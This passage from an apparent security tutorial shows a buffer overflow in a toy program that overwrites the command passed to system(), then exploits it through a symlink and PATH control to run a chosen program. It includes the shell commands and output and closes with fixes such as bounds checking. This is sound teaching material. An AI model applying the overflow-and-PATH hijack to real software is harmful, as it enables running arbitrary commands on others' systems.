When the input buffer overflows, we begin to write 'A's to cmd which replaces "/bin/cat". Finally, we concatenate cmd with input, resulting in a long string of 'A's for the command being executed by system(). We can see this from the error output.

How do we leverage this error to pwn this program? The program is trying to execute a command that is "AAA…" and we can control the PATH. Let's create such a program named "AAA…" Rather than writing a new program, we can use sym-linking.

ln -s cat AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
aviv@saddleback: demo $ ./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
Goodbye World

Now when we execute the overflow, we get our desired "Goodbye World" result:

aviv@saddleback: demo $ python -c "print 'A'*50" | ./overflow_system 
What input do you want to 'cat' (choose from below)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
cat
cat.c
execvp_cat
execvp_cat.c
inject_system
inject_system.c
inject_system.c~
input.txt
Makefile
mal-lib
overflow_system
overflow_system.c
overflow_system.c~
run_foo
run_foo.c
run_foo.o
setenv_cat
setenv_cat.c
setenv_cat.c~
shared-lib
system_cat
system_cat.c
#system-ex.c#
input > Executing: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Goodbye World

How do we fix overflow bugs? The most direct way is to always bound checks on strings. For example, always use strncp() or strncat(), but that is even sometimes not sufficient. In the end, it requires good programmers who understand security and can identify bad programming practices. This is just a small set of examples of bad programs.